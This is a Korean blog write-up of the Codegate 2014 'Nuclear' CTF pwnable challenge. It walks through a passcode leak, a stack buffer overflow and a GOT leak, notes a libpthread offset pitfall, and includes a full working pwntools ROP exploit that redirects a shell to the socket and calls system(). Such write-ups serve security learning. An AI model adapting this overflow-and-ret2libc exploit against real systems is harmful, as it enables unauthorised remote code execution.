write-up/pwnable

Codegate 2014 Nuclear

범고래_1 2018. 8. 14. 03:03

꽤 오래 걸렸던 문제




이 문제도 소켓이다. 1129번 포트(?)로 소켓을 연다



취약점 찾는데 좀 노하우(?)가 생긴 것 같다. recv나 scanf함수 같은걸 Xref해서 찾으면 빨리 찾더라.

취약점은 정말 금방 찾았다.

start_routine 함수에서 buf는 ebp-0x20c에 있는데, 1298만큼 받으니까 바로 터진다.

dummy 0x20c + 4 + eip이다.

그런데 fd까지 덮히므로, "Sorry.. we can't..." 문자열을 출력하기 위해 익스할 때는 fd를 4로 맞춰서 했다.



저 취약점을 트리거 하기 위해서는 메뉴에서 launch를 입력하면 되고, strcmp로 passcode와 cmd를 또 비교한다.

그렇다. 까나리가 없는 대신 passcode를 릭해야 하는 것이다.


어떻게 릭할지 좀 찾다가, 아래 분의 unknown command에서 릭이 될 것 같았다.

%s는 널을 만날 때 까지 출력하고, 변수 상태는 아래와 같다.

cmd, v4, v5를 다 채우고 unknown 커맨드를 입력하면, passcode도 릭 될것이다. 

scanf((int)arg, &cmd, 512)로 cmd를 512바이트 받지만, cmd 크기는 딱 512바이트이므로, v4, v5를 건들 수 없다.

그러나 "target"메뉴에서 이를 널이 아닌 값으로 채울 수 있다.



sscanf %f로 받으니까, 대충 0.1/0.1 이런식으로 넣으면 null이 아닌 값이 들어갈 것 같다.


0.1이 딱 들어왔다.

이제 cmd에 "A"*512를 넣어주면 cmd + v4 + v5 + passcode가 릭이 딱 된다.


passcode를 알아냈으니 이제 launch 메뉴에 들어갈 수 있고, 취약점을 트리거 할 수 있다.


시나리오는 아래와 같다.

1. recv로 bss에 리버스쉘 받기 ("sh >&4 0<&4\x00")

2. send로 recv 함수 got 릭

3. libc base 및 system 함수 오프셋 계산

4. recv로 got 주소 오버라이트

5. recv함수 호출 (system함수 호출)


그런데 오프셋이 자꾸 안 맞는 것이었다.

오프셋 계산은 펀툴즈를 이용했고,

libc = e.libc 로 자동으로 libc를 가져왔고,

libc.symbols['recv']를 이용했는데


base주소가 이상한 것이었다. 오프셋이 안 맞기 때문이었다.

그래서 peda에서 vmmap으로 확인한 오프셋을 하드코딩하여 익스를 하였다.

그러니까, recv릭 - vmmap해서 나온 libc base를 하면 오프셋이 나오니까,

이 오프셋을 하드코딩 한 것이다.


그런데 pwntools나 objdump로 확인한 offset이랑 달랐다... 거리도 꽤 났고...

어찌어찌해서 익스를 성공했는데, 옆에서 상영이가 그 이유를 알려줬다.


취약점은 start_routine함수에서 터지고, 

아래는 그 함수를 부르는 함수이다. pthread_create으로 호출하는걸 확인할 수 있다.


pthread이기 때문인지... 저 안에서 쓰는 함수 libc가 libc.so.6이 아니라, libpthread.so.0였다..... 

그래서 릭 한 오프셋이 계속 이상했던거.....


ldd했을 때도 나오고, 심지어 vmmap에서도 나온다,,,

왜 못봤을가.....




내 환경에서

libc base + 0x1b6000 위치에 항상 libpthread가 올라온다. (ldd로 확인)

릭한 recv나 send 주소는 libpthread위에 있으므로, 해당 함수의 오프셋을 빼면 libpthread의 base를 구할 수 있고,

거기서 0x1b6000을 빼면 libc base가 나오므로, system함수 주소를 구할 수 있다.


아래는 익스플로잇이다. 

위의 시나리오대로 하지는 않았고, recv got를 릭했으니까, system함수를 바로 알 수 있다.

연결을 끊고 다시 접속해서 binsh 보내고, 바로 system으로 조졌다.

(fork를 쓰므로 libc base주소는 동일)


pwntools의 ROP 기능을 사용했다.

익스를 본 순간 이건 정말 개사기라고 생각했다.

그런데, 주의할 점이 있다.

from pwn import *
from time import *

passcode = 'NUCLEAR_LAUNCHER_DETECTED'
e = ELF('./nuclear_d4f699f3dbb8aadf7c224aa57f57eb4c')
libc = e.libc
rop = ROP(e)

binsh = " sh="">&4 0<&4\x00"
pop4ret = 0x804917c

p = remote('0', 1129)

p.sendline("launch")
p.sendline(passcode)

sleep(0.4)

payload = "A"*0x200
payload += p32(4)
payload += "B"*0x0c

# leak
rop = ROP(e)
rop.send(4, e.got['recv'], 4, 0)
payload += rop.chain()
p.sendline(payload)

print p.recvuntil("Sorry.. We can't stop this action.. G00D Luck!\n")

leak = u32(p.recv(4))
print 'leak :', hex(leak)
libc.address = leak - 0x1c5340 # recv offset from libc base (not libpthread !)
print 'base :', hex(libc.address)
print 'system :', hex(libc.symbols['system'])
#raw_input()
p.close()

sleep(0.3)
p = remote('0', 1129)

p.sendline("launch")
sleep(0.3)
p.sendline(passcode)

sleep(0.4)

payload = "A"*0x200
payload += p32(4)
payload += "B"*0x0c

'''
rop = ROP(e)
rop.recv(4, e.bss(), len(binsh), 0)
payload += rop.chain()
payload += p32(libc.symbols['system'])
payload += "BBBB"
payload += p32(e.bss())
'''
payload += p32(e.plt['recv'])
payload += p32(pop4ret)
payload += p32(4)
payload += p32(e.bss())
payload += p32(len(binsh))
payload += p32(0)

payload += p32(libc.symbols['system'])
payload += "BBBB"
payload += p32(e.bss())

p.sendline(payload)

print p.recvuntil("Sorry.. We can't stop this action.. G00D Luck!\n")

p.send(binsh)
p.interactive()


그런데, 중간에 주석처리한 것 처럼 하면 익스가 안 된다. (얼핏 봐선 될 것 같지만)

pwntools ROP는 페이로드 맨 끝에만 써야 하는듯..

종혁이가 옆에서 이거때문에 삽질 엄청 함


툴 잘 쓰는것도 중요하다고 생각하는데... 너무 툴만 믿진 말자~~ 

완전히 익숙하지 않다면, 쓸데없는데서 삽질 많이 할 수도...

'write-up > pwnable' 카테고리의 다른 글

PlaidCTF 2013 ropasaurusrex  (0) 2019.07.11
Codegate 2018 BaskinRobins31  (0) 2018.08.18
Codegate 2014 Angrydoraemon  (0) 2018.08.09
Codegate 2017 babypwn  (0) 2018.08.09